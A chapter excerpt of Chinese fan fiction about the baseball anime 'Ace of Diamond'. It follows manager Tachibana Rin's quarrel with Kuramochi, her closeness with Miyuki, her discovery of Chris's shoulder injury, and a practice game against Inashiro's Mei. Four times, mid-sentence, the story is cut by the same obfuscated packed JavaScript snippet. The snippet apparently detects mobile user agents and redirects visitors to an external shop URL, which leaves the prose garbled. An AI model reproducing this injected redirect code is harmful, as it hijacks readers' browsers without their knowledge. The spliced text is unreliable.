高桥由衣咧着嘴,目光惊疑不定地在两个人之前游走着,然后冲向回到座位的御幸面前。 “他们怎么了!” 看着这个平日里聒噪又不喜欢他的女生冲向他,御幸扬了扬眉:“谁?” “仓持和铃啊!他们两都在睡觉诶!!难道昨晚他们两发生什么事了吗?” 发生什么事了? 仓持昨晚回来以后还在球场练习了一会儿,没感觉和平时有什么不一样,他手上有拿着新的手套,应该是橘铃送给他的礼物。 橘铃是和之前不一样,他看了看倒在桌子上睡觉的橘铃,说:“不知道。你是她的朋友应该比我清楚。” 被这句话噎到的高桥由衣悻悻地离开,嘴里念着:“可恶,我跟这个男人真是八字不合。” 这样的状态一直持续到了放学,提着书包的橘铃梦游般地走到了棒球部。 然后她狠狠地撞到了一个人。 御幸一也。 “你这个样子不如回家休息了,还来干嘛。”御幸换好了队服,看着如同游魂一般歪歪斜斜站着的橘铃,“你跟仓持怎么了?” “哈,你看见我过来不知道躲吗?很痛啊。”橘铃嘟囔着,“仓持是谁?我不认识。” “??”狠狠震撼御幸的一句话,他伸手在橘铃面前晃了晃,“你是橘吗?” “我是梅本幸子,你认错人了。”她的目光如幽灵般平视看了一圈,接着绕开御幸准备离开,御幸一把抓住了她的手臂。 橘铃瞪大了眼睛,她的瞌睡在此刻消失殆尽,她盯着御幸抓住她的手,露出一副你在干嘛的表情。 “是比克里斯学长还要严重的事情吗?” 原来是在关心她。 但昨晚贫瘠的睡眠让她实在没有脑子来应付这些事情,她含糊说道:“大概吧。” 明显不想说的样子,看来确实发生了什么不好说的事情。 难道他们两?一个想法在心里成形,他还没来得及继续说什么,面前五号室的大门被打开,仓持走了出来。 “……” 橘铃似乎完全没发现,她指了指御幸抓住她的手:“你是不是可以松手了。” 御幸松开手,目光落在仓持的脸上。 怎么说,不良少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088403|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年的脸比平时更加阴郁,他想给仓持打招呼,橘铃却适时地开始碎碎念:“困死了。我昨晚通宵了,今晚就不给你补习了,下次补上。不……我们下个月再开始补习吧。麻烦你帮我给仓持说一声。” 不用我说吧,当事人已经听到了。 御幸尴尬地扣了扣脸:“呃……” “我知道了。” 仓持忽然出声,橘铃受惊一般地转过头。 她这才反应过来,这是五号室门口。 仓持并没有躲避和她对视,他看着她,目光一如往常,只是又多带了点别的东西。 完了,她完全没有做好心理准备和仓持说话,都怪这个男人在这里挡路,她狠狠地剜了御幸一眼。 御幸无辜地耸了耸肩。 “仓持,你怎么不走,堵在门口干嘛。”五号室内,学长的声音传出来。 “哦马上。”仓持应道。 再继续呆着这里就要应付学长的提问了,她抓住御幸:“你过来。” 诶? 一只手不容拒绝地握了上来,带着他往前走了两步,御幸愣了一下,冰凉的手,带着没法拒绝的意味,这是什么感觉? 他回头看了看仓持黑气四溢的表情,不动声色地挣脱掉,跟着橘铃转角走到了室内练习室。 “今天的练习是防守训练,我就耽搁你一会儿。” 橘铃似乎根本没在意他的动作,她靠在墙上,叹了口气:“我现在跟……仓持关系一般,我想避免跟他见面。” 关系一般,昨天不是才刚过了生日。御幸不动声色地摸了摸下巴。 似是看出了御幸的想法,她面露难色:“昨晚可能我说了一些他不喜欢的话吧,我们……在吵架?” 不喜欢的话。是拒绝么。 御幸的眼镜反着光,耳朵已经偷偷竖了起来。 “就是这样了,我目前不是很想跟他见面,不要告诉别人哦。” 就这样? 他点了点头:“哦,好。” 没说出个什么所以然,更像是随口找的理由,他这样想着,补了一句:“所以我是被连带的那个吗?” “连带什么?” “补习。” 橘铃意外地看向他:“我还以为你会谢天谢地,毕竟每次补习你的表情可是比练习恐怖一百倍。” “话是这么说,可是每次看见自己做题的正确率,还是会觉得补习不赖。”御幸露出一个不怀好意的笑容,“优等生是这种感觉啊,要是每天都是这样,我可能考虑要去考东大了。” 橘铃的嘴角微微上扬,独特的夸奖,属于御幸一也独有的关心方式吗。 “不过,作为经理还处理不好和队友的关系,队长和小礼可能都会对你失望的,一年级。” “?你好意思对我说这种话吗?你有朋友吗!” “有啊,仓持。” “……就你们两了吧。” “你不也只有高桥由衣一个朋友吗?” 橘铃心中微微一动,没有回答。 半晌,她说:“是吧,我的朋友也不多。” 比起仓持的事情,这句话说起来,她的表情更为淡然,一副在意又要装作不在意的样子,御幸想说什么又咽下了。 她的朋友也不多?她这种性格的人应该很受欢迎,却一直只跟高桥由衣玩,为什么呢? 橘铃很快指了指他的眼镜,转移了话题:“马上守备训练就要开始了,你再不换上眼镜就没办法当浣熊了。” 浣熊?? 这个女人的嘴巴跟他比起来不遑多让。 这样说明她心情好点了么。 御幸笑了笑:“走了,经理。” “拜拜。” 御幸走了,橘铃站在室内练习室内,背靠墙慢慢滑下去,外面部员们高兴地交谈声又唤起了她内心的烦闷。 怎么办?就这样不跟小洋说话吗? 她打开手机,点开line,又退出。 可是要怎么做,要以什么样的面目来面对小洋,她也不知道。 “怎么会变成这样。”她低声说道。 好困,头好痛,如果这样睡醒来,这一切都会改变吗? 18. 松动 在周中橘铃就被告知,周日要举行循环赛,果然越临近夏季大赛,练习赛甚至越多了起来。 而这次的对手之一,是西东京的稻实。 橘铃还以为在比赛之前一个地区的选手会避免碰上,但是仔细想想,这或许是更好检验大家能力的时候。 一说到稻实,她就想到在稻实学校门口碰到大言不惭说自己是王牌的金发少年,成宫鸣,御幸的朋友。 要比赛的话,成宫鸣作为稻实的王牌是会来的。 那么作为成宫鸣朋友的御幸。 她的目光掠过笑嘻嘻准备接投的御幸:“你今天要上场啊。” “循环赛,当然了。”御幸头上还带着帽子,一副吊儿郎当的样子,“怎么说克里斯学长也不可能一口气打两场,要多给我们一年级上场的机会。” 说到克里斯,橘铃心里微微一动,就听到御幸说:“啊对了,仓持也会上场。” “……”橘铃没有接话。 “什么嘛,还在吵架啊,这可是都一周了。”御幸笑了两声,“你要躲到什么时候?” “你还真敢说啊。”橘铃仍旧是一副拒绝交谈的样子。 “不过看情况,怎么也是你单方面逃避吧。”御幸的目光落在了场外对着球网打击训练的仓持身上,“那家伙看起来并没有你们吵架了的自觉。” 是的,这也是最令橘铃火大的一件事。 明明是他做的事,事后又当个没事人来找她说话,发line,她心里最开始的不知道所措已经变成逐渐转化成了愤怒。 她不想冲仓持发火,又没想好解决方法,只能单方面把仓持晾着。 至于再也不往来这种行为 ,她确实没想过,父母都还不知道这件事。 这种事根本没办法说! 她冷哼一声:“接你的球,小心被稻实打的落花流水。” “哈哈,你觉得我会输啊。”御幸扔了扔手中的球,从橘铃跟仓持闹别扭以后,她跟他说话的态度反而好像越来越放松了,这算什么?希望通过他能给仓持带什么话吗? 真是有趣。 “抱歉,我可没打算要输给稻实。” “是吗,你的王牌朋友应该不会让你这句话轻松实现。” “王牌朋友?”御幸似是没想到橘铃说的是谁,他在脑子里搜寻了一下,才意识到,“你说的不会是鸣吧?那家伙已经是ace了吗。” “就算这样,我也不会输的。” 自信满满。 虽然这话听起来自大,但是橘铃清楚,在目前三个年级中,除了克里斯稳坐正捕之位,其余没有人能够和御幸争锋。 优秀的捕手啊。 想着她的目光飘到了御幸的脸上。 嗯,脸很帅的优秀捕手。 “?”察觉到目光的御幸微笑发出了疑问。 橘铃挪开了目光。 御幸挠挠头,又说道: “学长好慢啊,还没有来。” “是啊,我走了,我去找下克里斯学长。”橘铃说完,忽然想起什么来,“哦对,克里斯学长,你有发现什么异样吗?” “没有。”虽然很不甘心,御幸还是说出了这样一句话。 两人无奈地叹了口气。 “那只能再观察了。”橘铃看起来有点头疼,“希望克里斯学长没事,只是我多心了。” 自己的事都处理不好,还有心情关心别人。御幸摸着手里拿着的棒球,微微一笑:“橘,你要试试投球吗?” “我走了……诶什么,投球?”橘铃怀疑自己耳朵出了问题,但是御幸那脸上带着坏笑的表情,她知道她没听错。 这个人又在想什么坏主意? “是哟,投球,反正学长还没来。”御幸抛了抛手中的球,“有利于调节心情哦。 “我不会投球。”橘铃不知道御幸在想什么,她看着御幸手中的那枚棒球,“我也没有手套。” “来吧,试试,就一球。” “我不会投球啊……”在御幸的再三坚持下,橘铃走向御幸,拿起了他手上的棒球,“就一球。” 幸好周末她就会换上运动服,如果穿的是校服,要怎么抬脚? 话说投球的姿势是怎么样的?她记得是要抬脚然后…… “投接球,不用放在心上。”御幸碰了碰手,举起手套,“来吧。” “啊?”思考着要怎么投球的橘铃一下泄了气, “只是投接球,我还以为真的让我投球。” “怎么可能,完全没有棒球经验的你,投的明白吗。” “……”说的也是,橘铃看了看自己手中的棒球,转了转,“这样握的是吧。” “投接球不用在意那么多。” “不是你叫我投球的吗?就算随便投投,我也想不能投的太差。” 这是什么奇怪的想法,新手无论怎么投都会投的很差。御幸有点理解不了她在想什么,他举了举手套:“快点,再不投学长就要来了。” 好吧。橘铃举起棒球,往后退了几步。 “喂,会不会太远了。” “啊?这不是才三米吗!可恶,你是不是太小看我了。” 橘铃赌气般地又往后退了几步。 平常不锻炼的女生投球,应该没什么问题吧。 御幸这么想着,橘铃的球就已经扔了过来。 “你怎么不说一声——”说着,那个球就已经稳稳地落进了他的手套。 “哈,怎么样,我投的还不错吧!”橘铃说。 “确实比我想象的好……”御幸喃喃道。 他还以为她扔出来的球肯定软弱无力,没想到还是在手套上发出了漂亮的声音。 看来平时经理工作做的不错,对棒球也不是毫无感觉,虽然距离很近。 “这么近要是都投不中,我都会觉得丢脸。”橘铃在空中握了握手,感受着棒球残留在手上的感觉,“好吧,我承认你说得对,这样一扔好像在砸你的脸,确实让我心情愉快了不少。” 这是什么话,御幸取出手套中的棒球,拉长声音:“喂,我又没跟你吵架。” 橘铃充耳不闻:“要是有手套就好了,可以多扔几球,真可惜。” 她背着手转过身:“那我们下次再继续,拜拜了,捕手大人。” “捕手大人……”御幸抽了抽嘴角,但是这句话意外的让他勾了勾嘴角。 随着大巴车的停稳,稻实的棒球员们从大巴车上下来,一个金色头发的少年穿着稻实的队服跳了出来。 “yo,这就是青道的棒球场啊,好大。”少年星星眼叫着,“雅学长,来帮我拍个照。” “拍什么照。”原田雅功背着成宫鸣的包,皱着眉头,“稻实的棒球场还不够你拍吗,还有自己的包自己拿着。” “诶——学弟的小小请求都不愿意吗,哪里有你这样做捕手的啊。”成宫鸣闻言嚷了起来。 而原田雅功选择了无视。 成宫鸣像条小狗一样在旁边嚷嚷着,原田雅功忍无可忍:“鸣,你今天很兴奋。” “很明显吗?”成宫鸣收起了笑容,但是眼中的兴奋仍旧掩藏不住,“想想可能要和一也比赛,我就有点压制不住啊。” 在稻实他获得了成长,一也呢,现在进步到什么程度了? 想想之前还特地邀请他一起加入稻实,他拒绝了,现在他们就是彻底的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088404|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对手了。 来吧,一也,今天能让他见识到应该有的play吧?不然他可是会失望的。 这时,内场走过的一抹身影吸引了成宫鸣的注意力。 “啊!青道的经理!” 拿着记分册经过的橘铃听见叫声停住了脚步,这个少年音,她有点印象。 她转过头,看见了跟小狗一样趴在外面的成宫鸣,虽然穿的是稻实的棒球服,她还是一眼认出来了。 “啊,稻实的王牌。”她淡淡地说道。 “稻实的王牌?”重复出声的是成宫鸣隔壁身材高大强壮的人。 这个体格,她上下打量了一下,比增子学长更为强壮,应该是个强棒。 而身边的成宫鸣听到这句话像被踩了尾巴一样,他尴尬地看向隔壁的原田雅功。 “你对外是这样说的啊。”原田雅功抬了抬自己肩膀上背的包,视线落在成宫鸣脸上。 “我迟早能拿下ace的,你不也认同我的这句话吗!”如同炸毛的小狗,成宫鸣底气不足地说道。 “你现在还不是。” “我迟早会是!” “是在说谎啊,我就说你看起来怎么也不像二三级的学长。”橘铃新奇地看着头发都要炸起来的成宫鸣,这个家伙的性格也很有意思。 “一年级也是可以当ace的!”成宫鸣自信地说,“等着吧,今天我会完美地赢下这场比赛。” 和御幸说的一样的话,朋友连想法都这么一致,不认为自己会输。 只是性格有点像小学生。 “是吗?”橘铃说,“拭目以待,如果一年级ace大人赢了请务必给我签个名,拜托了。” “喔!当然!就算让我签一个笔记本也是可以的,毕竟我是最厉害的!” 这家伙是真的对自己很自信。 “我还有事,就先走了,一会儿赛场上见。”橘铃礼貌告别,她翻出自己的笔记本,这是之前学姐给的资料。 除了市大三,稻实确实是要注意的对象,对面的国友教练好像很厉害。 成宫鸣。 她搜索了一下,搜出了他少棒的信息,从战绩来说,确实是个优秀的投手。 她思索着:“一会儿比赛的时候看看吧。” 看着橘铃远走的背影,成宫鸣星星眼对原田雅功说道:“雅学长,青道的经理也是我的粉丝诶~” “……不知道还说你这家伙是真的自信还是心大。”原田雅功叹了口气,“走了鸣,要去热身了。” 先进行的是青道和稻实的比赛,先发捕手是御幸,克里斯面目沉静地坐在休息区。 今天仍旧是很热的一天。 橘铃喝完了一瓶水还觉得很热,她转头看见了坐在角落的克里斯,她提了提手上的另外一瓶水,走向了克里斯。 “辛苦了克里斯学长。”橘铃把手中的水递给他。 “我还没开始比赛,哪有什么辛不辛苦。”见是橘铃,克里斯脸上露出温柔的笑容,他接过水,下一刻,那瓶水像是没拿稳掉在了地上。 砰的一声,在橘铃耳中却比在周围嘈杂的说笑声还要明显。 “抱歉,我没拿稳。”说着,克里斯俯下身去捡水,但是那瓶水像是不受他的控制,又从他的手中滑了出去。 橘铃脸上的笑容收敛了,但是接下来,克里斯稳稳地拿起来那瓶水。 “克里斯学长……” 克里斯闻言露出一个怎么了的表情,他的脸色表情再正常不过。 橘铃没再说话。 她回想着刚刚克里斯颤动的手指,心里莫名的焦虑。 难道说……克里斯学长受伤了,什么时候? 19. 拉进 御幸…… 橘铃下意识就想要把个件消息告诉御幸,比赛还没开始,他肯定在这个休息区。 她回过头开始在休息区寻找着,很快她便找到了她要找的人,御幸正在外面和教练说着话。 不对,现在还不能告诉他,一会儿他就要比赛了,说这种消息会影响他的状态,只能等到比赛结束后。 如果连一瓶水都捡不起来,比赛中需要频繁用到肩膀的捕手,真的没问题么? 不安席卷了她。 这场比赛至少是一个小时,还有一个小时克里斯就要上场比赛了。 至少,做点她能做的事情。 橘铃坐在克里斯身边,低声开口道:“克里斯学长,你没事吗?” “嗯?”克里斯低下头,认真听她说话,“我没事,怎么了?” 还在假装若无其事,如果真的受伤了,造成的后果只会更严重。 她压低了声音,眼神中透露着焦急:“你受伤了吧?别瞒我了,我看到了你的手在发抖。” “你说那个啊,偶尔拿不稳水很正常,没什么大不了的。” 仍旧是无懈可击的表情。 “克里斯学长!” 两人之间的气氛僵持了下来,甚至有部员察觉到异常开始频频往这边偏头,克里斯并不打算说实话,他猜一直很注重自己形象的橘铃在察觉到别人的目光会就此作罢。 然而,这次橘铃一直看着他,全然不在乎周围人的目光。 真是一名合格的经理。 克里斯向橘铃伸出自己的右手:“你看,真的没什么异样。”说着,他拧开了那瓶水:“很轻松。” 橘铃还是是一副不相信的表情。 开始有三年级的学长往这边走了过来:“怎么了,橘的表情很可怕,克里斯你不会是在欺负经理吧。” “没有,我们只是对记分册上有一点的记录持不相同意见,克里斯学长怎么会欺负人啦。”橘铃举了举手中的记分册,“请学长千万放心。” “喔。”发现是个乌龙,爱看热闹的学长们纷纷离开了。 只有御幸,他的目光若有所思地落在了两人身上。 “别看了。”仓持在他身边说道,“一会儿就该上场了,分心是会吃苦头的。” 这个人。 御幸收回视线,看向仓持,最在意的是他吧,还要装作一副不在意的样子。 “今天的一棒是你。”御幸说,“不分心的人可一定要上垒。” “不用你说。” 即便如此,仓持的训练一点都没落下,可以说,甚至比之前更多。 挫败使人进步么,果然这里的每个人都很有意思。 御幸握住拳头靠前仓持:“加油。” 仓持顿了顿,举起手回道:“嗯,加油。” 两人拳头相撞。 他们两人都心知肚明,夏甲大赛之前的每场比赛对他们来说都是非常重要的,他们的表现越好,上场的几率才会更高,学长们是不会轻易把自己的位置让给一年级的。 “我知道你不想让别人知道,克里斯学长。”橘铃低声说,“我只是想知道,你是不是受伤了,严重吗?” “我保证不告诉别人。” “……”沉默许久的克里斯,在听到这句话后,最后点了点头,“是的,不过不严重。” “是手吗?” “是肩膀。” 肩膀?她的目光落在克里斯肩膀处,再次说道:“真的不严重吗?” 如果是肩膀受的伤,怎么会影响到手?这样是不是说明已经不是严不严重的问题了。 “真的没事。”克里斯说,“你有在记录正式队员的训练吧,我的每次训练都是完美完成了的。” 橘铃快速在脑海里翻阅着,是的,每次的训练克里斯都完成的和以往一样完美,完全看不出有什么区别。 可是…… “谢谢你关心我,橘,放心吧,我没事的。” 那种不安的感觉还是萦绕在橘铃周围,但克里斯都这么说了,她只得笑道:“好,我知道了。” 只有等比赛结束再说,她勉强把心底的不安压了回去。 “啊!一也!”走进球场的成宫鸣看见御幸,高兴地挥了挥手,完全没有对手的自觉。 果然,大家的目光集中到了御幸身上。 “这算什么?和对手私联吗?” “喂。”御幸额角滴下一滴汗,“我们以前就认识。” 太紧张了吧,这样看起来更可疑了。 先站上投手丘的就是成宫鸣。 橘铃拿着记分册坐在前排,她晃了晃笔,让她看看稻实的“王牌”投球技术如何吧。 第一个打者是仓持,片冈教练正在和他说着什么,他点头,拉了拉手中的手套。 橘铃一眼便认出那是她送给仓持的手套,她垂下了眼帘,耳边又响起了御幸说的逃避是没有用的。 不逃避还有什么办法吗?让小洋去强吻一下他,看他还说得出来这种话不。 橘铃脑海里情不自禁浮现了仓持把御幸壁咚在墙壁,然后脸渐渐靠近的画面。 “噗——”她没忍住笑出了声。 在说话的教练和仓持回头看她,她正色地拿起记分册,装模做样地翻了几页,假装发出声音不是她。 呃,小洋最近的表现,上垒率和防守都很不错,但是打击率可以用惨不忍睹来形容,相对于其他一军队员。 御幸倒是不错,尤其是垒上有人的时候会表现特别突出,这算什么,队友情buff吗? 如果成宫鸣的投球技术真如他本人那么自信,那小洋多半会被三振了。 “四坏球!保送。” ? 橘铃迷惑地睁大了眼睛,要给我签名的ace? 从她这个角度看出去,都能看到成宫鸣嘴巴在叨叨着什么,表情非常生气。 看来好像状态不好呢。她这么想着,就听到周围人的惊呼。 “好犀利的内角直球,时速得有140km以上吧!” 诶? “盗垒!”一垒的仓持丝毫不放过任何机会,在成宫鸣投球的一瞬间,他冲到了二垒,而在他脚刚好踩上垒包的时候,稻实的游击手随即接到球触杀了他。 “safe——” 好险,凭小洋的速度甚至只是勉强上垒?稻实的捕手也值得注意。 四坏和被盗垒让成宫鸣脸色越来越差,二棒的学长几乎是瞬间就出局了 。 “变化球和强有力的直球,确实很不错啊。” “残垒!” 真可惜,都跑到三垒的仓持,还是被成宫鸣的投球压制住了。 但是…… 随着御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088405|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸的一发全垒打,青道夺得了一分。 御幸脸上带着贱贱的笑容跑垒回来,橘铃拿起旁边的水给他:“他的球好像不是很好打,你这是猜中了?” 御幸心情愉悦:“是啊,猜中了。” “不愧是朋友,是朋友就要狠狠从对方头上得分。” “你真是……”御幸似有所察,两人一起往投手丘看去。 成宫鸣几乎要化身为炸毛小猫,浑身散发着杀了你杀了你的气势。 “好可怕——” “好可爱——” 御幸以为自己耳朵出了问题:“可爱??” “炸毛的小猫小狗,不可爱吗。”橘铃一本正经说道。 想到平时路边看到的小猫,御幸点头:“是还挺像的。” 两人相视一笑。 最后凭着御幸得到的这一分,青道赢得了比赛。 成宫鸣踩着生气的步子踏了过来,指着御幸说:“下次我不会输的!” 这气鼓鼓的样子,让人情不自禁就想逗逗他。 橘铃很快便付诸行动,她举起手中的本子晃了晃:“可惜你不能给我签名了,签一整笔记本哦。” 果然,她满意地看到成宫鸣脑袋上出现一个井字。 “啊~~”成宫鸣抬高下巴,抱着手腕,斜睨着御幸,“喂,一也,这不会是你的女朋友吧,你们两说话怎么都是一个风格的。” 啊…… 毫不掩饰的音量。 爱听八卦的学长们都蠢蠢欲动地把耳朵竖了起来。 橘铃感到自己脸一下就热了起来,毫无准备。 “看吧,她脸红了!你赢了就算了还要用女朋友来打击我。你不是我的粉丝吗!”成宫鸣对这两个人嚷嚷道,“我和男朋友之间肯定还是我更重要对吧!既然如此我就毫不犹豫地给你签名了!” 说着成名鸣抢过了橘铃手中的笔记本,唰唰地开始签字。 “等……”橘铃完全插不上手,御幸则是冷静地说:“不是女朋友。” “我从那里可是看见了哦!”成宫鸣一边签字一边指着投手丘,“你打完我的球以后,你们两在那里眉目传情,气死我了!!” “哦哟~~”身后的学长们发出了啧啧的赞叹,连平时板着脸的片冈教练线条也柔和了起来。 橘铃的脸更红了,她偷偷瞟向站在旁边的御幸,御幸脸上一副镇定自若的样子,但是橘铃发现,他的耳朵尖红透了。 “别乱说,鸣。”他拿过成宫鸣手中的本子,还给橘铃,“下一场比赛就要开始了,你快回去吧。” “这就赶我了?我还没签完!你叫什么名字?”成宫鸣眼睛都变成了猫眼,他气呼呼地说道,“说好了要签一个本子的。” “橘铃。”橘铃见他又伸手过来,打开了刚刚他签过字的页面。 “to 橘铃。”成宫鸣嘟囔着写完,斜眼看了看御幸,又加了一句,“and一也。” “……这是人家的本子,我也不需要你的签名。”御幸说。 “你管我啦!” 仓持低着头准备走出一群学长之中,小凑亮介注意到他的动作,打了一下他的脑袋:“还有比赛呢,你要去哪儿。” “哦,对,还有比赛。”仓持木然说着,又回原位坐着。 小凑亮介眯着眼睛,感慨般地说了句:“青春真好啊。” 20. 知晓 第三支队伍竟然是东东京的帝东。 怪不得今天球场的人比平时多了许多,这三支队伍凑一凑都可以直接扔上明治神宫去打春季都大会。 橘铃的目光一直紧紧跟随着正在穿捕手护甲的克里斯,丝毫没察觉御幸坐在了她的身边。 “你发现什么了吗?”压低的声音在耳边响起,橘铃吓得手一抖,笔在记分册上画出了一条直线。 “……” 她低头看了看那昭示她罪恶行径的签字笔线,低声说道:“你这人走路怎么没声音,吓死我了。” 御幸无辜地眨了眨眼睛:“那我需要重新来一遍吗,站起来大声对着你说,你好,我可以坐在这里吗。” “别,别。”橘铃赶紧把他拉下来,刚刚被一群学长围着打趣已经够她毛骨悚然了,她不想再经历一次。 她看着一边走向场内,一边跟投手说这话的克里斯学长,犹豫道:“等比赛完吧?我想再确认一下。” “喂。”仓持站在他们身后,面无表情地说道,“你们凑这么近说什么呢。” 两人一齐回头,橘铃的目光只是轻轻地从他脸上掠过,就低下了头,她翻着记分册,丝毫没有说话的意味。 很久没看见仓持这种表情了,她想,没关系,我也没有对他露出过现在这种表情。 “哟,仓持。”御幸自然地说着,他的手搭在椅背上,“我们在说上把比赛记分的事情,你要看看吗。” 仓持根本不看他,他的眼神直直盯着转过去像看到一个陌生人的少女,不知道在想什么。 醉翁之意不在酒,他的目标根本就不是关心他们在干嘛,而是找机会跟橘铃说话。 御幸暗自叹气,刚想说点什么,仓持就伸过手,从两人之间硬生生穿过,停留在橘铃旁边:“铃,可以给我看看吗?” 御幸清楚地看到橘铃的眼睛往后面转了转,但是并没有对仓持的话做出回应。 呜哇,要打下圆场吗?御幸的笑容僵在嘴边,仓持的手也固执地放在那里不打算收回。 出乎意料,橘铃拿起了记分册,往身后送去,只是她目不斜视,就好像怕看到什么东西一样。 仓持的手慢慢握紧,接着松开,他接过记分册,哗啦啦地翻了起来。 第一现场。 这个氛围让御幸如坐针毡,他往后面靠了靠,有种他不应该在这里的冲动。 这两人到底因为什么吵架?这个状总况感觉已经不是普通级别了。 如果是拒绝……不,是拒绝的话仓持不会是这个态度。 三人之间的气氛陷入了诡异的沉默。 御幸想说点什么,半天找不到合适的话题。 “御幸。”橘铃这时候开口道,“一会儿帮我把记分册拿回来,比赛就要开始了。” “啊,呃,好。”忽然被点名的御幸应道。 不应该是这样的话吧!这样不是让气氛更差了么。 果然,仓持的动作一顿,他啪地合上记分册,把记分册扔给御幸,转身离开。 御幸看着手上的那本记分册,满脸黑线地递给了橘铃:“就跟他说一句话有这么困难吗?” 仓持走后,橘铃的表情明显生动了许多,她赌气般地一把拿过,翻了个白眼,呵呵一声:“他还好意思生气,他怎么好意思。” 这位的怨气看起来也不是很低。 “我早就想问,你们两到底为什么吵架,看起来很严重。”御幸看着仓持离去的背影,“刚刚我都快憋死在这里了,太可怕了。” 为什么吵架。 橘铃的目光拂过御幸的嘴唇,她按了按手中的笔,转过头:“不告诉你。” “你可以去问他。” 问仓持?关心朋友兼队友的感情生活,总感觉很奇怪。 “而且你的注意力应该放在克里斯学长身上。” 御幸便不再追问。 比赛结束,还是青道赢了。 球队都沉浸在二连胜喜气洋洋的气氛下,大呼小叫地准备去看稻实和帝东的比赛。 橘铃写下最后一个字,追上已经离开的御幸,在克里斯从场上下来的时候,御幸就上前对他说了恭喜。 也不知道在恭喜什么,克里斯学长每场比赛都这么稳。 是的,就算比赛之前表现出来的异样,在比赛中他也很好压制了下去,和平时别无二样。 可靠的正捕,这就是正捕的责任感吗? “御幸。” 听见橘铃的呼喊,御幸才想起他们两比赛之前说的话,他放慢了步子,两人和众人拉开了一点距离。 “完美的比赛,和之前一样。”御幸感慨道,“有时候看着他,我会想,我和他之间的距离有一点点拉进了吗?” 橘铃的目光穿过人群,落在了最前面的克里斯身上,众人簇拥着他,他就是青道最可靠的存在。 学弟的崇拜,教练的信赖,部长的依赖,如此集中在一个人身上。 有人想过他会出事吗? 没有,没有人会想象如此可靠的人不复存在。 橘铃知道克里斯学长为什么不肯说了,当一个人把责任全部抗在身上,完美的外表如果有一点点裂缝,可能都是整个队伍的垮塌。 也是自己机会的丧失,这是一支想要去甲子园的队伍。 想要当正捕的御幸,有这样的觉悟吗? 御幸看着前方克里斯的背影,眼中有不甘,更多还是敬佩。 “克里斯学长说他受伤了。”橘铃抚上自己的右肩膀,“这里。” “受伤?” 御幸的反应和她想的一样激烈。 “笨蛋,小声点,会被听到的。”橘铃说,“刚刚那场比赛克里斯学长看不出来有什么不对,或许还在可控范围内。只是比赛和训练越多,他有休息的时间吗?” “不,一旦受伤就需要恢复的时间,强行运用只会让自己的伤没有愈合的机会。”御幸说,他的表情带上一丝凝重,“你是怎么看出来的,克里斯学长愿意告诉你?” 橘铃自觉还没有可靠到那种程度,只是凑巧罢了:“我说我不会告诉别人。” 是别人的御幸指了指自己。 “不一样。”橘铃说,“我说过这是属于我们的秘密。” 御幸的步伐越来越慢,他的脸色凝重。 橘铃也停了下脚步,等待着御幸接话。 同样作为捕手的御幸只会比她更清楚情况,她知道他不会乱来,就看他怎么判断这个事情了。 “我知道了。”御幸千思万绪,“我再看看,如果情况危急,也只有告诉教练和小礼。谢谢你,橘。” “嗯。” 对学长的关心更多于对正捕的渴望,御幸或许也是一个细腻的人,他表现出来的感情远比他的嘴巴要诚实的多。 最后的比赛是稻实赢了。 人群散开,帝东拿着两败不甘地坐着大巴离开。 而要回去的稻实四处都找不到他们一年级的投手,队长扶着脑袋,对原田雅功说:“原田,快找到他,我们要走了。” 原田雅功淡淡地眼神已死。 另一边,成宫鸣眼睛闪闪发亮地盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088406|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着经理们做出来的饭团,脸上泛出红扑扑的红光,咽了咽口水:“我可以吃吗?” 经理们四目相对,对着这个稻实的一年级投手露出了宠爱的笑容:“可以呀,多吃点。” 被经理们围着的成宫鸣疯狂说着好吃,夸的经理们心花怒放,又多往成宫鸣的手里塞了几个。 “所以,你是青道外派到稻实的间谍部员吗?”御幸看着那尾巴都快要翘起来的成宫鸣,“你该回去了。” “诶——”成宫鸣手中握着饭团,脸上露出坏笑,“一也你是看我这么受欢迎心里不平衡吧,谁让我这么帅气呢。” “不,完全不羡慕。” 